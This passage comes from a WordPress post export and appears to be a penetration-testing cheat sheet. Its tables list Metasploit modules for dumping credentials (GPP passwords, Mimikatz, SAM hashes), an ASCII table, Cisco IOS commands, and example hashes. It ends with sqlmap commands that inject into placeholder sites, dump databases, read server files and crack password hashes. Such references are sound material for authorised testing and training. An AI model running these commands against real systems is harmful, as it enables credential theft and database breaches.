Windows Metasploit Modules<i class=\"fa fa-link\"><\/i><\/h3>\n<p>Windows Metasploit Modules for privilege escalation.<\/p>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>run post\/windows\/gather\/win_privs<\/code><\/td>\n<td>Metasploit show privileges of current user<\/td>\n<\/tr>\n<tr>\n<td><code>use post\/windows\/gather\/credentials\/gpp<\/code><\/td>\n<td>Metasploit grab GPP saved passwords<\/td>\n<\/tr>\n<tr>\n<td><code>load mimikatz -&gt; wdigest<\/code><\/td>\n<td>Metasplit load Mimikatz<\/td>\n<\/tr>\n<tr>\n<td><code>run post\/windows\/gather\/local_admin_search_enum<\/code><\/td>\n<td>Idenitfy other machines that the supplied domain user has administrative access to<\/td>\n<\/tr>\n<tr>\n<td><code>run post\/windows\/gather\/smart_hashdump<\/code><\/td>\n<td>Automated dumping of sam file, tries to esc privileges etc<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2 id=\"ascii-table-cheat-sheet\">ASCII Table Cheat Sheet<i class=\"fa fa-link\"><\/i><\/h2>\n<p>Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.<\/p>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>ASCII<\/th>\n<th>CHARACTER<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>x00<\/code><\/td>\n<td>Null Byte<\/td>\n<\/tr>\n<tr>\n<td><code>x08<\/code><\/td>\n<td>BS<\/td>\n<\/tr>\n<tr>\n<td><code>x09<\/code><\/td>\n<td>TAB<\/td>\n<\/tr>\n<tr>\n<td><code>x0a<\/code><\/td>\n<td>LF<\/td>\n<\/tr>\n<tr>\n<td><code>x0d<\/code><\/td>\n<td>CR<\/td>\n<\/tr>\n<tr>\n<td><code>x1b<\/code><\/td>\n<td>ESC<\/td>\n<\/tr>\n<tr>\n<td><code>x20<\/code><\/td>\n<td>SPC<\/td>\n<\/tr>\n<tr>\n<td><code>x21<\/code><\/td>\n<td>!<\/td>\n<\/tr>\n<tr>\n<td><code>x22<\/code><\/td>\n<td>&#8220;<\/td>\n<\/tr>\n<tr>\n<td><code>x23<\/code><\/td>\n<td>#<\/td>\n<\/tr>\n<tr>\n<td><code>x24<\/code><\/td>\n<td>$<\/td>\n<\/tr>\n<tr>\n<td><code>x25<\/code><\/td>\n<td>%<\/td>\n<\/tr>\n<tr>\n<td><code>x26<\/code><\/td>\n<td>&amp;<\/td>\n<\/tr>\n<tr>\n<td><code>x27<\/code><\/td>\n<td>`<\/td>\n<\/tr>\n<tr>\n<td><code>x28<\/code><\/td>\n<td>(<\/td>\n<\/tr>\n<tr>\n<td><code>x29<\/code><\/td>\n<td>)<\/td>\n<\/tr>\n<tr>\n<td><code>x2a<\/code><\/td>\n<td>*<\/td>\n<\/tr>\n<tr>\n<td><code>x2b<\/code><\/td>\n<td>+<\/td>\n<\/tr>\n<tr>\n<td><code>x2c<\/code><\/td>\n<td>,<\/td>\n<\/tr>\n<tr>\n<td><code>x2d<\/code><\/td>\n<td>&#8211;<\/td>\n<\/tr>\n<tr>\n<td><code>x2e<\/code><\/td>\n<td>.<\/td>\n<\/tr>\n<tr>\n<td><code>x2f<\/code><\/td>\n<td>\/<\/td>\n<\/tr>\n<tr>\n<td><code>x30<\/code><\/td>\n<td>0<\/td>\n<\/tr>\n<tr>\n<td><code>x31<\/code><\/td>\n<td>1<\/td>\n<\/tr>\n<tr>\n<td><code>x32<\/code><\/td>\n<td>2<\/td>\n<\/tr>\n<tr>\n<td><code>x33<\/code><\/td>\n<td>3<\/td>\n<\/tr>\n<tr>\n<td><code>x34<\/code><\/td>\n<td>4<\/td>\n<\/tr>\n<tr>\n<td><code>x35<\/code><\/td>\n<td>5<\/td>\n<\/tr>\n<tr>\n<td><code>x36<\/code><\/td>\n<td>6<\/td>\n<\/tr>\n<tr>\n<td><code>x37<\/code><\/td>\n<td>7<\/td>\n<\/tr>\n<tr>\n<td><code>x38<\/code><\/td>\n<td>8<\/td>\n<\/tr>\n<tr>\n<td><code>x39<\/code><\/td>\n<td>9<\/td>\n<\/tr>\n<tr>\n<td><code>x3a<\/code><\/td>\n<td>:<\/td>\n<\/tr>\n<tr>\n<td><code>x3b<\/code><\/td>\n<td>;<\/td>\n<\/tr>\n<tr>\n<td><code>x3c<\/code><\/td>\n<td>&lt;<\/td>\n<\/tr>\n<tr>\n<td><code>x3d<\/code><\/td>\n<td>=<\/td>\n<\/tr>\n<tr>\n<td><code>x3e<\/code><\/td>\n<td>&gt;<\/td>\n<\/tr>\n<tr>\n<td><code>x3f<\/code><\/td>\n<td>?<\/td>\n<\/tr>\n<tr>\n<td><code>x40<\/code><\/td>\n<td>@<\/td>\n<\/tr>\n<tr>\n<td><code>x41<\/code><\/td>\n<td>A<\/td>\n<\/tr>\n<tr>\n<td><code>x42<\/code><\/td>\n<td>B<\/td>\n<\/tr>\n<tr>\n<td><code>x43<\/code><\/td>\n<td>C<\/td>\n<\/tr>\n<tr>\n<td><code>x44<\/code><\/td>\n<td>D<\/td>\n<\/tr>\n<tr>\n<td><code>x45<\/code><\/td>\n<td>E<\/td>\n<\/tr>\n<tr>\n<td><code>x46<\/code><\/td>\n<td>F<\/td>\n<\/tr>\n<tr>\n<td><code>x47<\/code><\/td>\n<td>G<\/td>\n<\/tr>\n<tr>\n<td><code>x48<\/code><\/td>\n<td>H<\/td>\n<\/tr>\n<tr>\n<td><code>x49<\/code><\/td>\n<td>I<\/td>\n<\/tr>\n<tr>\n<td><code>x4a<\/code><\/td>\n<td>J<\/td>\n<\/tr>\n<tr>\n<td><code>x4b<\/code><\/td>\n<td>K<\/td>\n<\/tr>\n<tr>\n<td><code>x4c<\/code><\/td>\n<td>L<\/td>\n<\/tr>\n<tr>\n<td><code>x4d<\/code><\/td>\n<td>M<\/td>\n<\/tr>\n<tr>\n<td><code>x4e<\/code><\/td>\n<td>N<\/td>\n<\/tr>\n<tr>\n<td><code>x4f<\/code><\/td>\n<td>O<\/td>\n<\/tr>\n<tr>\n<td><code>x50<\/code><\/td>\n<td>P<\/td>\n<\/tr>\n<tr>\n<td><code>x51<\/code><\/td>\n<td>Q<\/td>\n<\/tr>\n<tr>\n<td><code>x52<\/code><\/td>\n<td>R<\/td>\n<\/tr>\n<tr>\n<td><code>x53<\/code><\/td>\n<td>S<\/td>\n<\/tr>\n<tr>\n<td><code>x54<\/code><\/td>\n<td>T<\/td>\n<\/tr>\n<tr>\n<td><code>x55<\/code><\/td>\n<td>U<\/td>\n<\/tr>\n<tr>\n<td><code>x56<\/code><\/td>\n<td>V<\/td>\n<\/tr>\n<tr>\n<td><code>x57<\/code><\/td>\n<td>W<\/td>\n<\/tr>\n<tr>\n<td><code>x58<\/code><\/td>\n<td>X<\/td>\n<\/tr>\n<tr>\n<td><code>x59<\/code><\/td>\n<td>Y<\/td>\n<\/tr>\n<tr>\n<td><code>x5a<\/code><\/td>\n<td>Z<\/td>\n<\/tr>\n<tr>\n<td><code>x5b<\/code><\/td>\n<td>[<\/td>\n<\/tr>\n<tr>\n<td><code>x5c<\/code><\/td>\n<td>\\<\/td>\n<\/tr>\n<tr>\n<td><code>x5d<\/code><\/td>\n<td>]<\/td>\n<\/tr>\n<tr>\n<td><code>x5e<\/code><\/td>\n<td>^<\/td>\n<\/tr>\n<tr>\n<td><code>x5f<\/code><\/td>\n<td>_<\/td>\n<\/tr>\n<tr>\n<td><code>x60<\/code><\/td>\n<td>`<\/td>\n<\/tr>\n<tr>\n<td><code>x61<\/code><\/td>\n<td>a<\/td>\n<\/tr>\n<tr>\n<td><code>x62<\/code><\/td>\n<td>b<\/td>\n<\/tr>\n<tr>\n<td><code>x63<\/code><\/td>\n<td>c<\/td>\n<\/tr>\n<tr>\n<td><code>x64<\/code><\/td>\n<td>d<\/td>\n<\/tr>\n<tr>\n<td><code>x65<\/code><\/td>\n<td>e<\/td>\n<\/tr>\n<tr>\n<td><code>x66<\/code><\/td>\n<td>f<\/td>\n<\/tr>\n<tr>\n<td><code>x67<\/code><\/td>\n<td>g<\/td>\n<\/tr>\n<tr>\n<td><code>x68<\/code><\/td>\n<td>h<\/td>\n<\/tr>\n<tr>\n<td><code>x69<\/code><\/td>\n<td>i<\/td>\n<\/tr>\n<tr>\n<td><code>x6a<\/code><\/td>\n<td>j<\/td>\n<\/tr>\n<tr>\n<td><code>x6b<\/code><\/td>\n<td>k<\/td>\n<\/tr>\n<tr>\n<td><code>x6c<\/code><\/td>\n<td>l<\/td>\n<\/tr>\n<tr>\n<td><code>x6d<\/code><\/td>\n<td>m<\/td>\n<\/tr>\n<tr>\n<td><code>x6e<\/code><\/td>\n<td>n<\/td>\n<\/tr>\n<tr>\n<td><code>x6f<\/code><\/td>\n<td>o<\/td>\n<\/tr>\n<tr>\n<td><code>x70<\/code><\/td>\n<td>p<\/td>\n<\/tr>\n<tr>\n<td><code>x71<\/code><\/td>\n<td>q<\/td>\n<\/tr>\n<tr>\n<td><code>x72<\/code><\/td>\n<td>r<\/td>\n<\/tr>\n<tr>\n<td><code>x73<\/code><\/td>\n<td>s<\/td>\n<\/tr>\n<tr>\n<td><code>x74<\/code><\/td>\n<td>t<\/td>\n<\/tr>\n<tr>\n<td><code>x75<\/code><\/td>\n<td>u<\/td>\n<\/tr>\n<tr>\n<td><code>x76<\/code><\/td>\n<td>v<\/td>\n<\/tr>\n<tr>\n<td><code>x77<\/code><\/td>\n<td>w<\/td>\n<\/tr>\n<tr>\n<td><code>x78<\/code><\/td>\n<td>x<\/td>\n<\/tr>\n<tr>\n<td><code>x79<\/code><\/td>\n<td>y<\/td>\n<\/tr>\n<tr>\n<td><code>x7a<\/code><\/td>\n<td>z<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2 id=\"cisco-ios-commands\">CISCO IOS Commands<i class=\"fa fa-link\"><\/i><\/h2>\n<p>A collection of useful Cisco IOS commands.<\/p>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>enable<\/code><\/td>\n<td>Enters enable mode<\/td>\n<\/tr>\n<tr>\n<td><code>conf t<\/code><\/td>\n<td>Short for, configure terminal<\/td>\n<\/tr>\n<tr>\n<td><code>(config)# interface fa0\/0<\/code><\/td>\n<td>Configure FastEthernet 0\/0<\/td>\n<\/tr>\n<tr>\n<td><code>(config-if)# ip addr 0.0.0.0 255.255.255.255<\/code><\/td>\n<td>Add ip to fa0\/0<\/td>\n<\/tr>\n<tr>\n<td><code>(config-if)# ip addr 0.0.0.0 255.255.255.255<\/code><\/td>\n<td>Add ip to fa0\/0<\/td>\n<\/tr>\n<tr>\n<td><code>(config-if)# line vty 0 4<\/code><\/td>\n<td>Configure vty line<\/td>\n<\/tr>\n<tr>\n<td><code>(config-line)# login<\/code><\/td>\n<td>Cisco set telnet password<\/td>\n<\/tr>\n<tr>\n<td><code>(config-line)# password YOUR-PASSWORD<\/code><\/td>\n<td>Set telnet password<\/td>\n<\/tr>\n<tr>\n<td><code># show running-config<\/code><\/td>\n<td>Show running config loaded in memory<\/td>\n<\/tr>\n<tr>\n<td><code># show startup-config<\/code><\/td>\n<td>Show sartup config<\/td>\n<\/tr>\n<tr>\n<td><code># show version<\/code><\/td>\n<td>show cisco IOS version<\/td>\n<\/tr>\n<tr>\n<td><code># show session<\/code><\/td>\n<td>display open sessions<\/td>\n<\/tr>\n<tr>\n<td><code># show ip interface<\/code><\/td>\n<td>Show network interfaces<\/td>\n<\/tr>\n<tr>\n<td><code># show interface e0<\/code><\/td>\n<td>Show detailed interface info<\/td>\n<\/tr>\n<tr>\n<td><code># show ip route<\/code><\/td>\n<td>Show routes<\/td>\n<\/tr>\n<tr>\n<td><code># show access-lists<\/code><\/td>\n<td>Show access lists<\/td>\n<\/tr>\n<tr>\n<td><code># dir file systems<\/code><\/td>\n<td>Show available files<\/td>\n<\/tr>\n<tr>\n<td><code># dir all-filesystems<\/code><\/td>\n<td>File information<\/td>\n<\/tr>\n<tr>\n<td><code># dir \/all<\/code><\/td>\n<td>SHow deleted files<\/td>\n<\/tr>\n<tr>\n<td><code># terminal length 0<\/code><\/td>\n<td>No limit on terminal output<\/td>\n<\/tr>\n<tr>\n<td><code># copy running-config tftp<\/code><\/td>\n<td>Copys running config to tftp server<\/td>\n<\/tr>\n<tr>\n<td><code># copy running-config startup-config<\/code><\/td>\n<td>Copy startup-config to running-config<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2 id=\"cryptography\">Cryptography<i class=\"fa fa-link\"><\/i><\/h2>\n<h3 id=\"hash-lengths\">Hash Lengths<i class=\"fa fa-link\"><\/i><\/h3>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>HASH<\/th>\n<th>SIZE<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>MD5 Hash Length<\/td>\n<td><code>16 Bytes<\/code><\/td>\n<\/tr>\n<tr>\n<td>SHA-1 Hash Length<\/td>\n<td><code>20 Bytes<\/code><\/td>\n<\/tr>\n<tr>\n<td>SHA-256 Hash Length<\/td>\n<td><code>32 Bytes<\/code><\/td>\n<\/tr>\n<tr>\n<td>SHA-512 Hash Length<\/td>\n<td><code>64 Bytes<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h3 id=\"hash-examples\">Hash Examples<i class=\"fa fa-link\"><\/i><\/h3>\n<p>Likely just use <strong>hash-identifier<\/strong> for this but here are some example hashes:<\/p>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>HASH<\/th>\n<th>EXAMPLE<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>MD5 Hash Example<\/td>\n<td><code>8743b52063cd84097a65d1633f5c74f5<\/code><\/td>\n<\/tr>\n<tr>\n<td>MD5 $PASS:$SALT Example<\/td>\n<td><code>01dfae6e5d4d90d9892622325959afbe:7050461<\/code><\/td>\n<\/tr>\n<tr>\n<td>MD5 $SALT:$PASS<\/td>\n<td><code>f0fda58630310a6dd91a7d8f0a4ceda2:4225637426<\/code><\/td>\n<\/tr>\n<tr>\n<td>SHA1 Hash Example<\/td>\n<td><code>b89eaac7e61417341b710b727768294d0e6a277b<\/code><\/td>\n<\/tr>\n<tr>\n<td>SHA1 $PASS:$SALT<\/td>\n<td><code>2fc5a684737ce1bf7b3b239df432416e0dd07357:2014<\/code><\/td>\n<\/tr>\n<tr>\n<td>SHA1 $SALT:$PASS<\/td>\n<td><code>cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024<\/code><\/td>\n<\/tr>\n<tr>\n<td>SHA-256<\/td>\n<td><code>127e6fbfe24a750e72930c220a8e138275656b<br \/>\n8e5d8f48a98c3c92df2caba935<\/code><\/td>\n<\/tr>\n<tr>\n<td>SHA-256 $PASS:$SALT<\/td>\n<td><code>c73d08de890479518ed60cf670d17faa26a4a7<br \/>\n1f995c1dcc978165399401a6c4<\/code><\/td>\n<\/tr>\n<tr>\n<td>SHA-256 $SALT:$PASS<\/td>\n<td><code>eb368a2dfd38b405f014118c7d9747fcc97f4<br \/>\nf0ee75c05963cd9da6ee65ef498:560407001617<\/code><\/td>\n<\/tr>\n<tr>\n<td>SHA-512<\/td>\n<td><code>82a9dda829eb7f8ffe9fbe49e45d47d2dad9<br \/>\n664fbb7adf72492e3c81ebd3e29134d9bc<br \/>\n12212bf83c6840f10e8246b9db54a4<br \/>\n859b7ccd0123d86e5872c1e5082f<\/code><\/td>\n<\/tr>\n<tr>\n<td>SHA-512 $PASS:$SALT<\/td>\n<td><code>e5c3ede3e49fb86592fb03f471c35ba13e8<br \/>\nd89b8ab65142c9a8fdafb635fa2223c24e5<br \/>\n558fd9313e8995019dcbec1fb58414<br \/>\n6b7bb12685c7765fc8c0d51379fd<\/code><\/td>\n<\/tr>\n<tr>\n<td>SHA-512 $SALT:$PASS<\/td>\n<td><code>976b451818634a1e2acba682da3fd6ef<br \/>\na72adf8a7a08d7939550c244b237c72c7d4236754<br \/>\n4e826c0c83fe5c02f97c0373b6b1<br \/>\n386cc794bf0d21d2df01bb9c08a<\/code><\/td>\n<\/tr>\n<tr>\n<td>NTLM Hash Example<\/td>\n<td><code>b4b9b02e6f09a9bd760f388b67351e2b<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<h2 id=\"sqlmap-examples\">SQLMap Examples<i class=\"fa fa-link\"><\/i><\/h2>\n<div class=\"mobile-side-scroller\">\n<table>\n<thead>\n<tr>\n<th>COMMAND<\/th>\n<th>DESCRIPTION<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>sqlmap -u http:\/\/meh.com --forms --batch --crawl=10<br \/>\n--cookie=jsessionid=54321 --level=5 --risk=3<\/code><\/td>\n<td>Automated sqlmap scan<\/td>\n<\/tr>\n<tr>\n<td><code> sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE<br \/>\n--level=3 --current-user --current-db --passwords<br \/>\n--file-read=\"\/var\/www\/blah.php\" <\/code><\/td>\n<td>Targeted sqlmap scan<\/td>\n<\/tr>\n<tr>\n<td><code>sqlmap -u \"http:\/\/meh.com\/meh.php?id=1\"<br \/>\n--dbms=mysql --tech=U --random-agent --dump <\/code><\/td>\n<td>Scan url for union + error based injection with mysql backend<br \/>\nand use a random user agent + database dump<\/td>\n<\/tr>\n<tr>\n<td><code>sqlmap -o -u \"http:\/\/meh.com\/form\/\" --forms<\/code><\/td>\n<td>sqlmap check form for injection<\/td>\n<\/tr>\n<tr>\n<td><code>sqlmap -o -u \"http:\/\/meh\/vuln-form\" --forms<br \/>\n-D database-name -T users --dump<\/code><\/td>\n<td>sqlmap dump and crack hashes for table users on database-name.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>BOF \/ Exploit Exploit Research Find exploits for enumerated hosts \/ services. COMMAND DESCRIPTION searchsploit windows 2003 | grep -i local Search exploit-db for exploit, in this example windows 2003 + local esc site:exploit-db.com exploit kernel &lt;= 3 Use google to search exploit-db.com for exploits grep -R &#8220;W7&#8221; \/usr\/share\/metasploit-framework \/modules\/exploit\/windows\/* Search metasploit modules using grep &hellip; <a href=\"https:\/\/easy-admin.ca\/index.php\/2017\/03\/27\/notes-2\/\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">Notes<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1329","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"https:\/\/easy-admin.ca\/index.php\/wp-json\/wp\/v2\/posts\/1329","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/easy-admin.ca\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/easy-admin.ca\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/easy-admin.ca\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/easy-admin.ca\/index.php\/wp-json\/wp\/v2\/comments?post=1329"}],"version-history":[{"count":0,"href":"https:\/\/easy-admin.ca\/index.php\/wp-json\/wp\/v2\/posts\/1329\/revisions"}],"wp:attachment":[{"href":"https:\/\/easy-admin.ca\/index.php\/wp-json\/wp\/v2\/media?parent=1329"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/easy-admin.ca\/index.php\/wp-json\/wp\/v2\/categories?post=1329"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/easy-admin.ca\/index.php\/wp-json\/wp\/v2\/tags?post=1329"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}